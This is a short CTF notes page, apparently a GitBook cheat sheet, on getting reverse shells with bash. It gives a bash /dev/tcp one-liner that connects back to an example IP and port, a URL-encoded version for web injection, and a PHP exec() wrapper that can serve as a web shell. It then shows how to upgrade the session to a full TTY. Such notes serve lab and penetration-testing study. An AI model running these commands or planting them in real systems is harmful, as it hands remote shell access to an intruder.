> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/lat-mov/reverse-shells/reverse-shells-using-bash.md).

# Reverse shells using bash

## Bash TCP

Connect back to IP `10.11.12.13` on TCP-port `12345`

```
bash -c "bash -i >& /dev/tcp/10.11.12.13/12345 0>&1"
```

URL-encoded version

```
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.11.12.13%2F12345%200%3E%261%22
```

### Package in PHP

```php
<?php 
exec("bash -c 'bash -i >& /dev/tcp/10.11.12.13/12345 0>&1'");
?>
```

## Upgrade shell to TTY shell

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL + Z                                   # backgrounds session
stty raw -echo ; fg ; reset                # brings session back to the foreground
export SHELL=bash
export TERM=xterm-256color
stty rows 200 columns 200
```

Another solution is to use `script`

```bash
script /dev/null -c /bin/bash
```

This will give us a TTY-session, but it's **not** `CTRL + C` safe!

## References

Reverse Shell Generator - revshells.com: <https://www.revshells.com/>